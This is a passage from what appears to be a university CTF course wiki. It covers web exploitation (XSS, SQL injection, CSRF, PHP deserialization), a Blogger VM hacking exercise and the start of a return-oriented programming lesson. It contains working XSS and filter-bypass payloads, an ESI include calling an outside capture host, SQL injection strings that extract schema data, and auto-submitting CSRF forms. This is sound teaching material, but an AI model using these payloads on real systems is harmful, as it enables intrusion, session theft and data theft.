  1. Check if any value you control (parameters, path, headers?, cookies?) is being reflected in the HTML or used by JS code.
  2. +
  3. Find the context where it's reflected/used.
  4. +
  5. If reflected
  6. +
  7. Check which symbols can you use and depending on that, prepare the payload:
      +
    1. In raw HTML :
        +
      1. Can you create new HTML tags?
      2. +
      3. Can you use events or attributes supporting javascript: protocol?
      4. +
      5. Can you bypass protections?
      6. +
      7. Is the HTML content being interpreted by any client side JS engine (AngularJS, VueJS, Mavo...), you could abuse a Client Side Template Injection.
      8. +
      9. If you cannot create HTML tags that execute JS code, could you abuse a Dangling Markup - HTML scriptless injection?
      10. +
      +
    2. +
    3. Inside a HTML tag :
        +
      1. Can you exit to raw HTML context?
      2. +
      3. Can you create new events/attributes to execute JS code?
      4. +
      5. Does the attribute where you are trapped support JS execution?
      6. +
      7. Can you bypass protections?
      8. +
      +
    4. +
    5. Inside JavaScript code :
        +
      1. Can you escape the <script> tag?
      2. +
      3. Can you escape the string and execute different JS code?
      4. +
      5. Are your input in template literals ``?
      6. +
      7. Can you bypass protections?
      8. +
      +
    6. +
    +
  8. +
  9. If used :
  10. +
  11. You could exploit a DOM XSS, pay attention how your input is controlled and if your controlled input is used by any sink.
  12. +
+

Reflected values

+

In order to successfully exploit a XSS the first thing you need to find is a value controlled by you that is being reflected in the web page.

+
    +
  • Intermediately reflected: If you find that the value of a parameter or even the path is being reflected in the web page you could exploit a Reflected XSS.
  • +
  • Stored and reflected: If you find that a value controlled by you is saved in the server and is reflected every time you access a page you could exploit a Stored XSS.
  • +
  • Accessed via JS: If you find that a value controlled by you is being access using JS you could exploit a DOM XSS.
  • +
+

Contexts

+

When trying to exploit a XSS the first thing you need to know if where is your input being reflected. Depending on the context, you will be able to execute arbitrary JS code on different ways.

+
Raw HTML
+

If your input is reflected on the raw HTML page you will need to abuse some HTML tag in order to execute JS code: <img , <iframe , <svg , <script ... these are just some of the many possible HTML tags you could use. +Also, keep in mind Client Side Template Injection.

+
Inside HTML tags attribute
+

If your input is reflected inside the value of the attribute of a tag you could try:

+
    +
  1. To escape from the attribute and from the tag (then you will be in the raw HTML) and create new HTML tag to abuse: "><img [...]
  2. +
  3. If you can escape from the attribute but not from the tag (> is encoded or deleted), depending on the tag you could create an event that executes JS code: " autofocus onfocus=alert(1) x="
  4. +
  5. If you cannot escape from the attribute (" is being encoded or deleted), then depending on which attribute your value is being reflected in if you control all the value or just a part you will be able to abuse it. For example, if you control an event like onclick= you will be able to make it execute arbitrary code when it's clicked. Another interesting example is the attribute href, where you can use the javascript: protocol to execute arbitrary code: href="javascript:alert(1)"
  6. +
  7. If your input is reflected inside "unexpoitable tags" you could try the accesskey trick to abuse the vuln (you will need some kind of social engineer to exploit this): " accesskey="x" onclick="alert(1)" x="
  8. +
+
Inside JavaScript code
+

In this case your input is reflected between <script> [...] </script> tags of a HTML page, inside a .jsfile or inside an attribute using javascript: protocol:

+
    +
  • If reflected between <script> [...] </script> tags, even if your input if inside any kind of quotes, you can try to inject </script> and escape from this context. This works because the browser will first parse the HTML tags and then the content, therefore, it won't notice that your injected </script> tag is inside the HTML code.
  • +
  • If reflected inside a JS string and the last trick isn't working you would need to exit the string, execute your code and reconstruct the JS code (if there is any error, it won't be executed:
  • +
  • '-alert(1)-'
  • +
  • ';-alert(1)//
  • +
  • \';alert(1)//
  • +
  • If reflected inside template literals you can **embed JS expressions** using `${ ... }` syntax:var greetings =`Hello, ${alert(1)}```
  • +
+
DOM
+

There is JS code that is using unsafely some data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.

+

https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/dom-xss.md

+
Universal XSS
+

These kind of XSS can be found anywhere. They not depend just on the client exploitation of a web application but on any context. These kind of arbitrary JavaScript execution can even be abuse to obtain RCE, read arbitrary files in clients and servers, and more.

+

Some examples:

+

https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md

+

https://github.com/carlospolop/hacktricks/blob/master/pentesting/pentesting-web/xss-to-rce-electron-desktop-apps.md

+

Injecting inside raw HTML

+

When your input is reflected inside the HTML page or you can escape and inject HTML code in this context the first thing you need to do if check if you can abuse < to create new tags: Just try to reflect that char and check if it's being HTML encoded or deleted of if it is reflected without changes. Only in the last case you will be able to exploit this case. +For this cases also keep in mind Client Side Template Injection. +Note: A HTML comment can be closed using --> or --!>

+

In this case and if no black/whitelisting is used, you could use payloads like:

+
<script>alert(1)</script>
+<img src=x onerror=alert(1) />
+<svg onload=alert('XSS')>
+
+

But, if tags/attributes black/whitelisting is being used, you will need to brute-force which tags you can create. +Once you have located which tags are allowed, you would need to brute-force attributes/events inside the found valid tags to see how you can attack the context.

+
Tags/Events brute-force
+

Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).

+
Custom tags
+

If you didn't find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus attribute. In the XSS request, you need to end the URL with # to make the page focus on that object and execute the code:

+
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
+
+
Blacklist Bypasses
+

If some kind of blacklist is being used you could try to bypass it with some silly tricks:

+
//Random capitalization
+<script> --> <ScrIpT>
+<img --> <ImG
+
+//Double tag, in case just the first match is removed
+<script><script>
+<scr<script>ipt>
+<SCRscriptIPT>alert(1)</SCRscriptIPT>
+
+//You can substitude the space to separate attributes for:
+/
+/*%00/
+/%00*/
+%2F
+%0D
+%0C
+%0A
+%09
+
+//Unexpected parent tags
+<svg><x><script>alert('1'&#41</x>
+
+//Unexpected weird attributes
+<script x>
+<script a="1234">
+<script ~~~>
+<script/random>alert(1)</script>
+<script      ///Note the newline
+>alert(1)</script>
+<scr\x00ipt>alert(1)</scr\x00ipt>
+
+//Not closing tag, ending with " <" or " //"
+<iframe SRC="javascript:alert('XSS');" <
+<iframe SRC="javascript:alert('XSS');" //
+
+//Extra open
+<<script>alert("XSS");//<</script>
+
+//Just weird an unexpected, use your imagination
+<</script/script><script>
+<input type=image src onerror="prompt(1)">
+
+//Using `` instead of parenthesis
+onerror=alert`1`
+
+//Use more than one
+<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
+
+
Length bypass (XSS in 20chars)
+

Taken from the blog of Jorge Lajara.

+
<svg/onload=alert``>
+<script src=//aa.es>
+<script src=//℡㏛.pw>
+
+

The last one is using 2 unicode characters which expands to 5: telsr +More of these characters can be found here. +To check in which characters are decomposed check here. +More tiny XSS for different environments payload [can be found here and here.

+
Click XSS - Clickjacking
+

If in order to exploit the vulnerability you need the user to click a link or a form with prepopulated data you could try to abuse Clickjacking (if the page is vulnerable).

+
Impossible - Dangling Markup
+

If you just think that it's impossible to create an HTML tag with an attribute to execute JS code, you should check Danglig Markup because you could exploit the vulnerability without executing JS code.

+

XSS Abusing other vulnerabilities

+
XSS to SSRF
+

Got XSS on a site that uses caching? Try upgrading that to SSRF through Edge Side Include Injection with this payload:

+
<esi:include src="http://yoursite.com/capture" />
+
+

Use it to bypass cookie restrictions, XSS filters and much more! +More information about this technique here: XSLT.

+
XSS in dynamic created PDF
+

If a web page is creating a PDF using user controlled input, you can try to trick the bot that is creating the PDF into executing arbitrary JS code. +So, if the PDF creator bot finds some kind of HTML tags, it is going to interpret them, and you can abuse this behaviour to cause a Server XSS.

+

https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md

+

If you cannot inject HTML tags it could be worth it to try to inject PDF data:

+

https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/pdf-injection.md

+
XSS uploading files (svg)
+

Upload as an image a file like the following one (from http://ghostlulz.com/xss-svg/):

+
Content-Type: multipart/form-data; boundary=---------------------------232181429808
+Content-Length: 574
+-----------------------------232181429808
+Content-Disposition: form-data; name="img"; filename="img.svg"
+Content-Type: image/svg+xml
+
+<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
+   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
+   <script type="text/javascript">
+      alert(1);
+   </script>
+</svg>
+-----------------------------232181429808--
+<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
+   <script type="text/javascript">alert("XSS")</script>
+</svg>
+<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
+<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
+<script type="text/javascript">
+alert("XSS");
+</script>
+</svg>
+
+

XSS resources

+

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection +http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list https://github.com/ismailtasdelen/xss-payload-list https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec +https://netsec.expert/2020/02/01/xss-in-2020.html

+
XSS TOOLS
+

Find some tools for XSS here.

+

Search functionalities

+

If the functionality may be used to search some kind of data inside the backend, maybe you can (ab)use it to search arbitrary data.

+ +

SQL Injection

+

What is SQL injection?

+

SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behaviour. In some situations, an attacker can escalate an SQL injection attack to compromise the underlying server or other back-end infrastructure, or perform a denial-of-service attack. (From here).

+

In this POST I'm going to suppose that we have found a possible SQL injection and we are going to discuss possible methods to confirm the SQL injection, recon the database and perform actions.

+

Entry point detection

+

You may have found a site that is apparently vulnerable to SQLi just because the server is behaving weird with SQLi related inputs. Therefore, the first thing you need to do is how to inject data in the query without breaking it. To do so you first need to find how to escape from the current context. +These are some useful examples:

+
 [Nothing]
+'
+"
+`
+')
+")
+`)
+'))
+"))
+`))
+
+

Then, you need to know how to fix the query so there isn't errors. In order to fix the query you can input data so the previous query accept the new data, or you can just input your data and add a comment symbol add the end.

+

Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy.

+
Comments
+
MySQL
+#comment
+-- comment     [Note the space after the double dash]
+/*comment*/
+/*! MYSQL Special SQL */
+
+PostgreSQL
+--comment
+/*comment*/
+
+MSQL
+--comment
+/*comment*/
+
+Oracle
+--comment
+
+SQLite
+--comment
+/*comment*/
+
+HQL
+HQL does not support comments
+
+
Confirming with logical operations
+

One of the best ways to confirm a SQL injection is by making it operate a logical operation and having the expected results. +For example: if the GET parameter ?username=Peter returns the same content as ?username=Peter' or '1'='1 then, you found a SQL injection.

+

Also you can apply this concept to mathematical operations. Example: If ?id=1 returns the same as ?id=2-1, SQLinjection.

+
page.asp?id=1 or 1=1 -- true
+page.asp?id=1' or 1=1 -- true
+page.asp?id=1" or 1=1 -- true
+page.asp?id=1 and 1=2 -- false
+
+
Confirming with Timing
+

In some cases you won't notice any change on the page you are testing. Therefore, a good way to discover blind SQL injections is making the DB perform actions and will have an impact on the time the page need to load. +Therefore, the we are going to concat in the SQL query an operation that will take a lot of time to complete:

+
MySQL (string concat and logical ops)
+1' + sleep(10)
+1' and sleep(10)
+1' && sleep(10)
+1' | sleep(10)
+
+PostgreSQL (only support string concat)
+1' || pg_sleep(10)
+
+MSQL
+1' WAITFOR DELAY '0:0:10'
+
+Oracle
+1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
+1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
+
+SQLite
+1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
+1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
+
+

In some cases the sleep functions won't be allowed. Then, instead of using those functions you could make the query perform complex operations that will take several seconds. Examples of these techniques are going to be commented separately on each technology (if any).

+

Identifying Back-end

+

The best way to identify the back-end is trying to execute functions of the different back-ends. You could use the sleep functions of the previous section or these ones:

+
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
+["connection_id()=connection_id()"                 ,"MYSQL"],
+["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
+["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
+["@@CONNECTIONS>0"                                 ,"MSSQL"],
+["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
+["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
+["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
+["ROWNUM=ROWNUM"                                   ,"ORACLE"],
+["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
+["LNNVL(0=123)"                                    ,"ORACLE"],
+["5::int=5"                                        ,"POSTGRESQL"],
+["5::integer=5"                                    ,"POSTGRESQL"],
+["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
+["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
+["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
+["current_database()=current_database()"           ,"POSTGRESQL"],
+["sqlite_version()=sqlite_version()"               ,"SQLITE"],
+["last_insert_rowid()>1"                           ,"SQLITE"],
+["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
+["val(cvar(1))=1"                                  ,"MSACCESS"],
+["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
+["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
+["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
+["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
+
+

Also, if you have access to the output of the query, you could make it print the version of the database.

+

A continuation we are going to discuss different methods to exploit different kinds of SQL Injection. We will use MySQL as example.

+

Exploiting Union Based

+
Detecting number of columns
+

If you can see the output of the query this is the best way to exploit it. +First of all, wee need to find out the number of columns the initial request is returning. This is because both queries must return the same number of columns. +Two methods are typically used for this purpose:

+
Order/Group by
+

Keep incrementing the number until you get a False response. Even though GROUP BY and ORDER BY have different functionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.

+
1' ORDER BY 1--+    #True
+1' ORDER BY 2--+    #True
+1' ORDER BY 3--+    #True
+1' ORDER BY 4--+    #False - Query is only using 3 columns
+                        #-1' UNION SELECT 1,2,3--+    True
+1' GROUP BY 1--+    #True
+1' GROUP BY 2--+    #True
+1' GROUP BY 3--+    #True
+1' GROUP BY 4--+    #False - Query is only using 3 columns
+                        #-1' UNION SELECT 1,2,3--+    True
+
+
UNION SELECT
+

Select more and more null values until the query is correct:

+
1' UNION SELECT null-- - Not working
+1' UNION SELECT null,null-- - Not working
+1' UNION SELECT null,null,null-- - Worked
+
+

You should use nullvalues as in some cases the type of the columns of both sides of the query must be the same and null is valid in every case.

+
Extract database names, table names and column names
+

On the next examples we are going to retrieve the name of all the databases, the table name of a database, the column names of the table:

+
#Database names
+-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
+
+#Tables of a database
+-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
+
+#Column names
+-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
+
+

There is a different way to discover this data on every different database, but it's always the same methodology.

+

Forms, WebSockets and PostMsgs

+

When websocket, post message or a form allows user to perform actions vulnerabilities may arise.

+ +

CSRF (Cross Site Request Forgery)

+

What is CSRF?

+

Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. +This is done by making a logged in user in the victim platform access an attacker controlled website and from there execute *malicious JS code, send forms or retrieve "images" to the* victims account.

+

Requisites

+

In order to be able to abuse a CSRF vulnerability you first need to find a relevant action to abuse (change password or email, make the victim follow you on a social network, give you more privileges...). The session must rely only on cookies or HTTP Basic Authentication header, any other header can't be used to handle the session. An finally, there shouldn't be unpredictable parameters on the request.

+

Several counter-measures could be in place to avoid this vulnerability.

+

Common defenses

+
    +
  • SameSite cookies: If the session cookie is using this flag, you may not be able to send the cookie from arbitrary web sites.
  • +
  • Cross-origin resource sharing: Depending on which kind of HTTP request you need to perform to abuse the relevant action, you may take int account the CORS policy of the victim site. Note that the CORS policy won't affect if you just want to send a GET request or a POST request from a form and you don't need to read the response.
  • +
  • Ask for the password user to authorise the action.
  • +
  • Resolve a captcha
  • +
  • Read the Referrer or Origin headers. If a regex is used it could be bypassed form example with:
  • +
  • http://mal.net?orig=http://example.com (ends with the url)
  • +
  • http://example.com.mal.net (starts with the url)
  • +
  • Modify the name of the parameters of the Post or Get request
  • +
  • Use a CSRF token in each session. This token has to be send inside the request to confirm the action. This token could be protected with CORS.
  • +
+

CSRF map

+

img

+

Exploit Examples

+
Exfiltrating CSRF Token
+

If a CSRF token is being used as defence you could try to exfiltrate it abusing a XSS vulnerability or a Dangling Markup vulnerability.

+
GET using HTML tags
+
<img src="http://google.es?param=VALUE" style="display:none" />
+<h1>404 - Page not found</h1>
+The URL you are requesting is no longer available
+
+

Other HTML5 tags that can be used to automatically send a GET request are:

+

img

+
Form GET request
+
<html>
+  <!-- CSRF PoC - generated by Burp Suite Professional -->
+  <body>
+  <script>history.pushState('', '', '/')</script>
+    <form method="GET" action="https://victim.net/email/change-email">
+      <input type="hidden" name="email" value="some@email.com" />
+      <input type="submit" value="Submit request" />
+    </form>
+    <script>
+      document.forms[0].submit();
+    </script>
+  </body>
+</html>
+
+
Form POST request
+
<html>
+  <body>
+  <script>history.pushState('', '', '/')</script>
+    <form action="https://victim.net/email/change-email" id="csrfform">
+      <input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
+      <input type="submit" value="Submit request" />
+      <img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
+    </form>
+    <script>
+      document.forms[0].submit(); //Way 3 to autosubmit
+    </script>
+  </body>
+</html>
+
+
Form POST request through iframe
+
<!-- 
+The request is sent through the iframe withuot reloading the page 
+-->
+<html>
+  <body>
+  <iframe style="display:none" name="csrfframe"></iframe> 
+    <form action="/change-email" id="csrfform" target="csrfframe">
+      <input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
+      <input type="submit" value="Submit request" />
+    </form>
+    <script>
+      document.forms[0].submit();
+    </script>
+  </body>
+</html>
+
+

Tools

+
    +
  • https://github.com/0xInfection/XSRFProbe
  • +
+

HTTP Headers

+

Depending on the HTTP headers given by the web server some vulnerabilities might be present.

+ +

Bypasses

+

There are several specific functionalities were some workarounds might be useful to bypass them

+ +

Structured objects / Specific functionalities

+

Some functionalities will require the data to be structured on a very specific format (like a language serialized object or a XML). Therefore, it's more easy to identify is the application might be vulnerable as it needs to be processing that kind of data. +Some specific functionalities my be also vulnerable if a specific format of the input is used (like Email Header Injections).

+ +

Deserialization

+

Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications.

+

Deserialization is the reverse of that process, taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.

+

In many occasions you can find some code in the server side that unserialize some object given by the user. +In this case, you can send a malicious payload to make the server side behave unexpectedly.

+

You should read: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html for learn how to attack.

+

PHP

+

Magic method used with serialization:

+
    +
  • __sleep is called when an object is serialized and must be returned to array
  • +
+

Magic method used with deserialization

+
    +
  • __wakeup is called when an object is deserialized.
  • +
  • __destruct is called when PHP script end and object is destroyed.
  • +
  • __toString uses object as string but also can be used to read file or more than that based on function call inside it.
  • +
+
<?php
+class test {
+    public $s = "This is a test";
+    public function displaystring(){
+        echo $this->s.'<br />';
+    }
+    public function __toString()
+    {
+        echo '__toString method called';
+    }
+    public function __construct(){
+        echo "__construct method called";
+    }
+    public function __destruct(){
+        echo "__destruct method called";
+    }
+    public function __wakeup(){
+        echo "__wakeup method called";
+    }
+    public function __sleep(){
+        echo "__sleep method called";
+        return array("s"); #The "s" makes references to the public attribute
+    }
+}
+
+$o = new test();
+$o->displaystring();
+$ser=serialize($o);
+echo $ser;
+$unser=unserialize($ser);
+$unser->displaystring();
+
+/*
+php > $o = new test();
+__construct method called__destruct method called
+php > $o->displaystring();
+This is a test<br />
+php > $ser=serialize($o);
+__sleep method called
+php > echo $ser;
+O:4:"test":1:{s:1:"s";s:14:"This is a test";}
+php > $unser=unserialize($ser);
+__wakeup method called__destruct method called
+php > $unser->displaystring();
+This is a test<br />
+*/
+?>
+
+

If you look to the results you can see that the functions __wakeup and __destruct are called when the object is deserialized. Note that in several tutorials you will find that the __toString function is called when trying yo print some attribute, but apparently that's not happening anymore.

+

Autoload Classes may also be dangerous.

+

You can read an explained PHP example here: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, here https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf or here https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

+
Serializing Referenced Values
+

If for some reason you want to serialize a value as a reference to another value serialized you can:

+
<?php
+class AClass {
+    public $param1;
+    public $param2;
+}
+
+$o = new WeirdGreeting;
+$o->param1 =& $o->param22;
+$o->param = "PARAM";
+$ser=serialize($o);
+
+

Files

+

Functionalities that allow to upload files might be vulnerable to several issues. +Functionalities that generates files including user input might execute unexpected code. +Users that open files uploaded by users or automatically generated including user input might be compromised.

+ +

External Identity Management

+ +

Other Helpful Vulnerabilities

+

This vulnerabilities might help to exploit other vulnerabilities.

+ +

Exercise

+

(10 pt) Blogger Website

+

In this challenge, you need to download the following virtual machine to finish the challenges.

+

The box was created with Virtualbox. Upon booting up use netdiscover tool to find the IP address. This is the target address based on whatever settings you have. You should verify the address just in case.

+

You don't need to answer all questions in order. Skip some questions may not affect the next steps.

+

Download: https://mega.nz/file/HxFXgIAT#PFjk8HV_ltXVh-Hz1D3xAXYc31GpmgTQeFfkKibn9Tc

+

Mirror: https://pan.baidu.com/s/1mOZxE_XHgbSZR_yKTWQAbA (Code: 1337)

+

(2 pt) Establish

+

Environment setup should use VirtualBox history version (VirtualBox 6.1.28 has a bug with Hyper-V, I used VirtualBox 6.0.24 and worked properly). You should setup Network as the following:

+

img

+

While the Serial Ports setting as follow (Port Mode set to Disconnected):

+

screenshot

+

The virtual image should enter the following promption:

+
Ubuntu 16.04.7 LTS ubuntu-xenial tty1
+ubuntu-xenial login: _
+
+

Finding the IP address:

+

Open you terminal (powershell.exe in Windows), and use ipconfig /all to find your Host-only NET ip address.

+

img

+

Use any tool to scan the ip 192.168.xx.0/24 and you can find the virtual machine ip address. Otherwise, you can also use arp -a to find your Host-only Network address, and usually VM's ip address is followed.

+

img

+

Open your web browser, you can find this page in VM's ip address:

+

screenshot

+

You are done with configuration, now you can hack the machine and solve the challenges!

+

Upload a screenshot about the web page and the IP address would give 2 points.

+

(2 pt) Port scan and directory scan

+

Using Nmap you can scan open ports of VM. Only port 80 is open and we can find a HTTP website. Using Gobuster or Dirb to scan the website directory, you may find a upload folder under the blogger.

+

What's the URL of the upload folder?

+

Answer: http://ip/******/*****/****/**********/*******/ (replace all stars to your answer)

+

Hint: kali wordlists for scanning: /usr/share/wordlists. If you don't have those files, it's fine to search a wordlist online.

+

(2 pt) Wordpress

+

It's easy to find the blogger is using Wordpress. The version of the given blogger is vulnerable. What's the vulnerability name of the blogger?

+

Answer: A******** F*** U***** (replace all stars to your answer, needn't to be 100% the same)

+

Hint: look at the version of wordpress. Search in the exploitDB.

+

(2 pt) Reverse shell

+

Using the vulnerability, you can get a reversed shell. Besides, with some techniques, you can generate a pty shell. What's the name of users?

+

Answer: u*****, j****, v****** (replace all stars to your answer)

+

Hint: users can be located in /etc/passwd or /home folder.

+

(2 pt) Root

+

Weak password is dangerous, using Hydra or other password cracker can easily break the weak password. Get the root privilege and find me root.txt.

+

Answer: flag{****_****_***_**********_** **}

+

Hint: sometimes sudo can be vulnerable.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/2021/Week 13/index.html b/CS315/2021/Week 13/index.html new file mode 100644 index 000000000..94dee42ab --- /dev/null +++ b/CS315/2021/Week 13/index.html @@ -0,0 +1,9376 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Week13 PWN: ROL and ROP - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Week13 PWN: ROL and ROP

+

According to the @CTF101: https://ctf101.org/

+

Return Oriented Programming

+

Return Oriented Programming (or ROP) is the idea of chaining together small snippets of assembly with stack control to cause the program to do more complex things.

+

As we saw in buffer overflows, having stack control can be very powerful since it allows us to overwrite saved instruction pointers, giving us control over what the program does next. Most programs don't have a convenient give_shell function however, so we need to find a way to manually invoke system or another exec function to get us our shell.

+

32 bit

+

Imagine we have a program similar to the following:

+
#include <stdio.h>
+#include <stdlib.h>
+
+char name[32];
+
+int main() {
+    printf("What's your name? ");
+    read(0, name, 32);
+
+    printf("Hi %s\n", name);
+
+    printf("The time is currently ");
+    system("/bin/date");
+
+    char echo[100];
+    printf("What do you want me to echo back? ");
+    read(0, echo, 1000);
+    puts(echo);
+
+    return 0;
+}
+
+

We obviously have a stack buffer overflow on the echo variable which can give us EIP control when main returns. But we don't have a give_shell function! So what can we do?

+

We can call system with an argument we control! Since arguments are passed in on the stack in 32-bit Linux programs (see calling conventions), if we have stack control, we have argument control.

+

When main returns, we want our stack to look like something had normally called system. Recall what is on the stack after a function has been called:

+
        ...                                 // More arguments
+        0xffff0008: 0x00000002              // Argument 2
+        0xffff0004: 0x00000001              // Argument 1
+ESP ->  0xffff0000: 0x080484d0              // Return address
+
+

So main's stack frame needs to look like this:

+
        0xffff0008: 0xdeadbeef              // system argument 1
+        0xffff0004: 0xdeadbeef              // return address for system
+ESP ->  0xffff0000: 0x08048450              // return address for main (system's PLT entry)
+
+

Then when main returns, it will jump into system's PLT entry and the stack will appear just like system had been called normally for the first time.

+

Note: we don't care about the return address system will return to because we will have already gotten our shell by then!

+

Arguments

+

This is a good start, but we need to pass an argument to system for anything to happen. As mentioned in the page on ASLR, the stack and dynamic libraries "move around" each time a program is run, which means we can't easily use data on the stack or a string in libc for our argument. In this case however, we have a very convenient name global which will be at a known location in the binary (in the BSS segment).

+

Putting it together

+

Our exploit will need to do the following:

+
    +
  1. Enter "sh" or another command to run as name
  2. +
  3. Fill the stack with
  4. +
  5. Garbage up to the saved EIP
  6. +
  7. The address of system's PLT entry
  8. +
  9. A fake return address for system to jump to when it's done
  10. +
  11. The address of the name global to act as the first argument to system
  12. +
+

64 bit

+

In 64-bit binaries we have to work a bit harder to pass arguments to functions. The basic idea of overwriting the saved RIP is the same, but as discussed in calling conventions, arguments are passed in registers in 64-bit programs. In the case of running system, this means we will need to find a way to control the RDI register.

+

To do this, we'll use small snippets of assembly in the binary, called "gadgets." These gadgets usually pop one or more registers off of the stack, and then call ret, which allows us to chain them together by making a large fake call stack.

+

For example, if we needed control of both RDI and RSI, we might find two gadgets in our program that look like this (using a tool like rp++ or ROPgadget):

+
0x400c01: pop rdi; ret
+0x400c03: pop rsi; pop r15; ret
+
+

We can setup a fake call stack with these gadets to sequentially execute them, poping values we control into registers, and then end with a jump to system.

+

Example

+
        0xffff0028: 0x400d00            // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled
+        0xffff0020: 0x1337beef          // value we want in r15 (probably garbage)
+        0xffff0018: 0x1337beef          // value we want in rsi
+        0xffff0010: 0x400c03            // address that the rdi gadget's ret will return to - the pop rsi gadget
+        0xffff0008: 0xdeadbeef          // value to be popped into rdi
+RSP ->  0xffff0000: 0x400c01            // address of rdi gadget
+
+

Stepping through this one instruction at a time, main returns, jumping to our pop rdi gadget:

+
RIP = 0x400c01 (pop rdi)
+RDI = UNKNOWN
+RSI = UNKNOWN
+
+        0xffff0028: 0x400d00            // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled
+        0xffff0020: 0x1337beef          // value we want in r15 (probably garbage)
+        0xffff0018: 0x1337beef          // value we want in rsi
+        0xffff0010: 0x400c03            // address that the rdi gadget's ret will return to - the pop rsi gadget
+RSP ->  0xffff0008: 0xdeadbeef          // value to be popped into rdi
+
+

pop rdi is then executed, popping the top of the stack into RDI:

+
RIP = 0x400c02 (ret)
+RDI = 0xdeadbeef
+RSI = UNKNOWN
+
+        0xffff0028: 0x400d00            // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled
+        0xffff0020: 0x1337beef          // value we want in r15 (probably garbage)
